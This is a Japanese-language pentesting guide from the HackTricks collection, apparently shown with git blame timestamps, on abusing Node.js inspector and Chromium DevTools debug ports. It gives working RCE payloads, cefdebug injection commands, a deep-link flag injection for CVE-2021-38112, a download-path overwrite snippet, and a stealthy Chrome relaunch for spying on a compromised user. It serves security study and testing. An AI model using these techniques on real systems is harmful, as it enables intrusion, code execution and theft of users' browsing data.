hacktricks/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md

180 lines
15 KiB
Markdown
Raw Normal View History

2023-07-07 23:42:27 +00:00
# Node inspector/CEFデバッグの乱用
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
2022-04-28 16:01:33 +00:00
</details>
2023-07-07 23:42:27 +00:00
## 基本情報
2020-09-20 22:47:34 +00:00
2023-07-07 23:42:27 +00:00
`--inspect`スイッチで起動すると、Node.jsプロセスはデバッグクライアントを待ち受けます。**デフォルトでは**、ホストとポート**`127.0.0.1:9229`**で待ち受けます。各プロセスにはまた、**一意のUUID**が割り当てられます。
2020-09-20 22:47:34 +00:00
2023-07-07 23:42:27 +00:00
インスペクタクライアントは、接続するためにホストアドレス、ポート、およびUUIDを知って指定する必要があります。完全なURLは、`ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`のようになります。
2022-04-27 16:38:13 +00:00
{% hint style="warning" %}
2023-07-07 23:42:27 +00:00
**デバッガはNode.jsの実行環境に完全なアクセス権を持っているため**、このポートに接続できる悪意のあるアクターは、Node.jsプロセスの代わりに任意のコードを実行する可能性があります**潜在的な特権エスカレーション**)。
2022-04-27 16:38:13 +00:00
{% endhint %}
2023-07-07 23:42:27 +00:00
インスペクタを起動する方法はいくつかあります:
2022-04-27 16:38:13 +00:00
```bash
node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect
node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
```
2023-07-07 23:42:27 +00:00
監査されたプロセスを開始すると、次のようなものが表示されます:
2022-04-28 01:02:01 +00:00
```
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
For help, see: https://nodejs.org/en/docs/inspector
```
2023-07-07 23:42:27 +00:00
**CEF****Chromium Embedded Framework**をベースとしたプロセスは、デバッガSSRF保護はほぼ同じままを開くために`--remote-debugging-port=9222`というパラメータを使用する必要があります。ただし、これは**NodeJS**のデバッグセッションを許可する代わりに、[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を使用してブラウザと通信します。これはブラウザを制御するためのインターフェースですが、直接的なRCEはありません。
2022-04-28 01:02:01 +00:00
2023-07-07 23:42:27 +00:00
デバッグされたブラウザを起動すると、次のようなものが表示されます:
2022-04-28 01:02:01 +00:00
```
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
```
2023-07-07 23:42:27 +00:00
### ブラウザ、WebSockets、および同一生成元ポリシー <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
2022-04-27 16:38:13 +00:00
2023-07-07 23:42:27 +00:00
ウェブブラウザで開かれるウェブサイトは、ブラウザのセキュリティモデルの下でWebSocketとHTTPリクエストを行うことができます。**一意のデバッガーセッションIDを取得するためには、最初にHTTP接続が必要**です。**同一生成元ポリシー**により、ウェブサイトは**このHTTP接続を行うことができません**。[**DNSリバインディング攻撃**](https://en.wikipedia.org/wiki/DNS\_rebinding)****に対する追加のセキュリティ対策として、Node.jsは接続のための**'Host'ヘッダー**が**IPアドレス**または**`localhost`**または**`localhost6`**を正確に指定していることを検証します。
2022-04-27 16:38:13 +00:00
{% hint style="info" %}
2023-07-07 23:42:27 +00:00
この**セキュリティ対策により、インスペクターを悪用して単にHTTPリクエストを送信する**ことによるコードの実行が防止されますこれはSSRF脆弱性を悪用して行うことができます
2022-04-27 16:38:13 +00:00
{% endhint %}
2023-07-07 23:42:27 +00:00
### 実行中のプロセスでインスペクターを開始する
2022-04-28 01:02:01 +00:00
2023-07-07 23:42:27 +00:00
実行中のNode.jsプロセスに**シグナルSIGUSR1**を送信すると、デフォルトのポートで**インスペクターを開始**することができます。ただし、注意点として、十分な特権が必要なため、これにより**プロセス内の情報への特権アクセス**が付与される可能性がありますが、直接的な特権昇格は行われません。
2022-04-28 01:02:01 +00:00
```bash
kill -s SIGUSR1 <nodejs-ps>
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
```
2022-04-27 16:38:13 +00:00
{% hint style="info" %}
2023-07-07 23:42:27 +00:00
これはコンテナ内で役立ちます。`--inspect`を使用してプロセスをシャットダウンして新しいプロセスを開始することはできません。なぜなら、プロセスとともにコンテナが終了してしまうからです。
2022-04-27 16:38:13 +00:00
{% endhint %}
2023-07-07 23:42:27 +00:00
### インスペクタ/デバッガへの接続
2022-04-27 16:38:13 +00:00
2023-07-07 23:42:27 +00:00
もし、**Chromiumベースのブラウザ**にアクセスできる場合、`chrome://inspect`または`edge://inspect`にアクセスして接続することができます。Configureボタンをクリックし、**ターゲットのホストとポート**がリストされていることを確認してください次のイメージに、次のセクションの例を使用してRCEを取得する方法の例があります
2022-04-27 16:38:13 +00:00
2022-04-28 15:47:13 +00:00
![](<../../.gitbook/assets/image (620) (1).png>)
2022-04-27 16:38:13 +00:00
2023-07-07 23:42:27 +00:00
**コマンドライン**を使用して、デバッガ/インスペクタに接続することもできます。
2022-04-28 01:02:01 +00:00
```bash
node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
2020-09-20 22:47:34 +00:00
```
2023-07-07 23:42:27 +00:00
このツール[**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug)は、ローカルで実行中の**インスペクターを見つけ**、それらに**コードを注入**することができます。
2020-09-20 22:47:34 +00:00
```bash
#List possible vulnerable sockets
./cefdebug.exe
#Check if possibly vulnerable
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.version"
#Exploit it
./cefdebug.exe --url ws://127.0.0.1:3585/5a9e3209-3983-41fa-b0ab-e739afc8628a --code "process.mainModule.require('child_process').exec('calc')"
```
2022-04-28 01:02:01 +00:00
{% hint style="info" %}
2023-07-07 23:42:27 +00:00
注意してください、**NodeJS RCE exploitsは**[**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/)を介してブラウザに接続されている場合は機能しません興味深いことをするためにAPIをチェックする必要があります
2022-04-28 01:02:01 +00:00
{% endhint %}
2023-07-07 23:42:27 +00:00
## NodeJSデバッガー/インスペクターでのRCE
2022-04-28 01:02:01 +00:00
{% hint style="info" %}
2023-07-07 23:42:27 +00:00
もしElectronのXSSからRCEを取得する方法を探してここに来た場合は、[**このページをチェックしてください。**](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/)
2022-04-28 01:02:01 +00:00
{% endhint %}
2023-07-07 23:42:27 +00:00
Node **inspector**に**接続**できる場合、**RCE**を取得するための一般的な方法は次のようなものですChrome DevTools Protocolへの接続では機能しないようです
2022-04-28 01:02:01 +00:00
```javascript
process.mainModule.require('child_process').exec('calc')
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
require('child_process').spawnSync('calc.exe')
Browser.open(JSON.stringify({url: "c:\\windows\\system32\\calc.exe"}))
```
2022-05-01 13:25:53 +00:00
## Chrome DevTools Protocol Payloads
2022-04-27 16:38:13 +00:00
2023-07-07 23:42:27 +00:00
APIはこちらで確認できます[https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)\
このセクションでは、このプロトコルを悪用するために人々が使用した興味深い事例をリストアップします。
2022-05-05 07:55:36 +00:00
2023-07-07 23:42:27 +00:00
### ディープリンクを介したパラメーターのインジェクション
2022-05-05 07:55:36 +00:00
2023-07-07 23:42:27 +00:00
[**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/)では、Rhino SecurityがCEFベースのアプリケーションがシステムにカスタムURIworkspaces://を登録し、そのURIを受け取り、そのURIから一部構築された設定でCEFベースのアプリケーションを起動していることを発見しました。
2022-05-05 07:55:36 +00:00
2023-07-07 23:42:27 +00:00
URIのパラメーターがURLデコードされ、CEFベースのアプリケーションの起動に使用されることがわかりました。これにより、ユーザーはコマンドラインにフラグ**`--gpu-launcher`**を**インジェクト**し、任意の操作を実行することができます。
2022-05-05 07:55:36 +00:00
2023-07-07 23:42:27 +00:00
したがって、以下のようなペイロードを使用することができます:
2022-05-05 07:55:36 +00:00
```
workspaces://anything%20--gpu-launcher=%22calc.exe%22@REGISTRATION_CODE
```
2023-07-07 23:42:27 +00:00
calc.exeを実行します。
2022-05-05 07:55:36 +00:00
2023-07-07 23:42:27 +00:00
### ファイルの上書き
2022-04-28 01:02:01 +00:00
2023-07-07 23:42:27 +00:00
**ダウンロードされたファイルが保存されるフォルダ**を変更し、**悪意のあるコード**で**アプリケーションの頻繁に使用されるソースコード**を上書きするためにファイルをダウンロードします。
2022-04-28 01:02:01 +00:00
```javascript
2022-04-28 23:38:36 +00:00
ws = new WebSocket(url); //URL of the chrome devtools service
2022-04-28 01:02:01 +00:00
ws.send(JSON.stringify({
2023-07-07 23:42:27 +00:00
id: 42069,
method: 'Browser.setDownloadBehavior',
params: {
behavior: 'allow',
downloadPath: '/code/'
}
2022-04-28 01:02:01 +00:00
}));
```
2023-07-07 23:42:27 +00:00
### Webdriver RCEと情報の外部流出
2020-12-18 09:51:50 +00:00
2023-07-07 23:42:27 +00:00
この記事[https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148](https://medium.com/@knownsec404team/counter-webdriver-from-bot-to-rce-b5bfb309d148)によると、theriverからRCEを取得し、内部ページを外部に流出させることが可能です。
2022-04-28 13:46:37 +00:00
2023-07-07 23:42:27 +00:00
### ポストエクスプロイテーション
2022-04-28 10:43:42 +00:00
2023-07-07 23:42:27 +00:00
実際の環境で、ユーザーのPCを侵害した後、Chrome/Chromiumベースのブラウザを使用してChromeプロセスを起動し、デバッグを有効化し、デバッグポートをポートフォワードすることができます。これにより、被害者がChromeで行うすべての操作を検査し、機密情報を盗むことができます。
2022-04-28 10:43:42 +00:00
2023-07-07 23:42:27 +00:00
ステルスの方法は、すべてのChromeプロセスを終了し、次のような呼び出しを行うことです。
2022-04-28 10:43:42 +00:00
```bash
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
```
2023-07-07 23:42:27 +00:00
## 参考文献
2020-09-20 22:47:34 +00:00
2022-04-27 16:38:13 +00:00
* [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s)
2020-09-20 22:47:34 +00:00
* [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug)
* [https://iwantmore.pizza/posts/cve-2019-1414.html](https://iwantmore.pizza/posts/cve-2019-1414.html)
* [https://bugs.chromium.org/p/project-zero/issues/detail?id=773](https://bugs.chromium.org/p/project-zero/issues/detail?id=773)
* [https://bugs.chromium.org/p/project-zero/issues/detail?id=1742](https://bugs.chromium.org/p/project-zero/issues/detail?id=1742)
* [https://bugs.chromium.org/p/project-zero/issues/detail?id=1944](https://bugs.chromium.org/p/project-zero/issues/detail?id=1944)
2022-04-27 16:38:13 +00:00
* [https://nodejs.org/en/docs/guides/debugging-getting-started/](https://nodejs.org/en/docs/guides/debugging-getting-started/)
2022-04-28 01:02:01 +00:00
* [https://chromedevtools.github.io/devtools-protocol/](https://chromedevtools.github.io/devtools-protocol/)
* [https://larry.science/post/corctf-2021/#saasme-2-solves](https://larry.science/post/corctf-2021/#saasme-2-solves)
2022-04-28 10:43:42 +00:00
* [https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
2022-04-28 16:01:33 +00:00
</details>